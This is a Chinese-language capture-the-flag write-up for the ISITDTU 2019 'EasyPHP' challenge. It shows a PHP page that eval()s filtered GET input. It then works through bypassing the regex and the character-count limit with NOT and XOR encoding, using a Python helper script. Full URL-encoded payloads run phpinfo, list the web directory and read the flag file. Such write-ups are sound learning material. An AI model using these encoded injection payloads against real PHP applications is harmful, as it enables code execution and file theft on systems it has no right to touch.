show

[ISITDTU 2019]EasyPHP   <2020-07-07> 返回    

题目给了源码

<?php
highlight_file(__FILE__);

$_ = @$_GET['_'];
if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $_) )
die('rosé will not do it');

if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd )
die('you are so close, omg');

eval($_);
?>

这个正则我没看懂,拿到了 http://regex101.com/ 里翻译了一下

正则会匹配

\x00-\x20(空格)
0-9
'"`$&.,|| {{_defgops
\x7F(DEL)

然后下一层过滤中

count_chars(string,mode)

参数 描述
string 必需。规定要检查的字符串。
mode

可选。规定返回模式。默认是 0。以下是不同的返回模式:

0 - 数组,ASCII 值为键名,出现的次数为键值
1 - 数组,ASCII 值为键名,出现的次数为键值,只列出出现次数大于 0 的值
2 - 数组,ASCII 值为键名,出现的次数为键值,只列出出现次数等于 0 的值
3 - 字符串,带有所有使用过的不同的字符
4 - 字符串,带有所有未使用过的不同的字符

就是最多只能输入 13 种不同的字符

首先通过取反查看 phpinfo 获得信息

<?php
$str = ~'phpinfo';
echo urlencode($str);
?>

然后通过 GET 方式传入( PHP7 可用 )

?_=(~%8F%97%8F%96%91%99%90)();

可以看到版本是7.3,并且有以下禁用方法

pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,escapeshellarg,escapeshellcmd,passthru,proc_close,proc_get_status,proc_open,shell_exec,mail,imap_open

同时 open_basedir 被限制在 /var/www/html/

那么首先看一下当前目录

print_r(scandir(.));

使用异或绕过的话需要额外的两个字符

^ 和 %ff

那么一共有 16 个字符,所以需要去掉 3 个,利用了以下脚本

list1 = 'acdinprst'
list2 = []
for a in list1:
for b in list1:
for c in list1:
for d in list1:
if(ord(a)^ord(b)^ord(c) == ord(d)):
if(a==b==c==d)or(a==b)or(a==c)or(a==d):
continue
else:
list2.append(a+b+c+d)
def calc(sttr):
num = 0
for i in sttr:
num += ord(i)
return num

tmp = []
for i in list2:
tmp.append(i+str(calc(i)))

tmp2 = []
for m in range(0,len(tmp)):
for n in range(m,len(tmp)):
if(tmp[m][0]==tmp[n][0])and(tmp[m]!=tmp[n])and(tmp[m][-3:]==tmp[n][-3:]):
tmp2.append(tmp.index(tmp[m]))

for i in tmp2:
tmp[i]=""

while '' in tmp:
tmp.remove('')

for i in tmp:
print(i[:4])

也就是

a = c^p^r
d = s^c^t
n = i^s^t

之后再用脚本查看异或后的字符

sttr = 'pcsrt'
for i in sttr:
print(i+" "+hex(ord(i)^0xff))

转化后是这样

print_r			(%8f%8d%96%96%8b%a0%8d)^(%ff%ff%ff%ff%ff%ff%ff)^(%ff%ff%ff%8c%ff%ff%ff)^(%ff%ff%ff%8b%ff%ff%ff)
scandir (%8c%9c%9c%96%8c%96%8d)^(%ff%ff%ff%ff%ff%ff%ff)^(%ff%ff%8f%8c%9c%ff%ff)^(%ff%ff%8d%8b%8b%ff%ff)
. %d1^%ff

传入时需要再进行一次处理

(print_r)((scandir)(.));

实际为

?_=((%8f%8d%96%96%8b%a0%8d)^(%ff%ff%ff%ff%ff%ff%ff)^(%ff%ff%ff%8c%ff%ff%ff)^(%ff%ff%ff%8b%ff%ff%ff))(((%8c%9c%9c%96%8c%96%8d)^(%ff%ff%ff%ff%ff%ff%ff)^(%ff%ff%8f%8c%9c%ff%ff)^(%ff%ff%8d%8b%8b%ff%ff))(%d1^%ff));

回显

Array
(
    [0] => .
    [1] => ..
    [2] => index.php
    [3] => n0t_a_flAg_FiLe_dONT_rE4D_7hIs.txt
)

那么要看最后一个,可以用 end 来读取

readfile(end(scandir(.)));

一共也是 16 个,改变的字符为

r = s^d^e
f = c^l^i
n = c^l^a

转化后

readfile	(%8c%9a%9e%9b%9c%96%93%9a)^(%ff%ff%ff%ff%ff%ff%ff%ff)^(%9b%ff%ff%ff%93%ff%ff%ff)^(%9a%ff%ff%ff%96%ff%ff%ff)
end (%9a%9c%9b)^(%ff%ff%ff)^(%ff%93%ff)^(%ff%9e%ff)
scandir (%8c%9c%9e%9c%9b%96%8c)^(%ff%ff%ff%ff%ff%ff%ff)^(%ff%ff%ff%93%ff%ff%9b)^(%ff%ff%ff%9e%ff%ff%9a)
. %d1^%ff

格式为

(readfile)((end)((scandir)(.)));

实际传入

?_=((%8c%9a%9e%9b%9c%96%93%9a)^(%ff%ff%ff%ff%ff%ff%ff%ff)^(%9b%ff%ff%ff%93%ff%ff%ff)^(%9a%ff%ff%ff%96%ff%ff%ff))(((%9a%9c%9b)^(%ff%ff%ff)^(%ff%93%ff)^(%ff%9e%ff))(((%8c%9c%9e%9c%9b%96%8c)^(%ff%ff%ff%ff%ff%ff%ff)^(%ff%ff%ff%93%ff%ff%9b)^(%ff%ff%ff%9e%ff%ff%9a))(%d1^%ff)));
获得 flag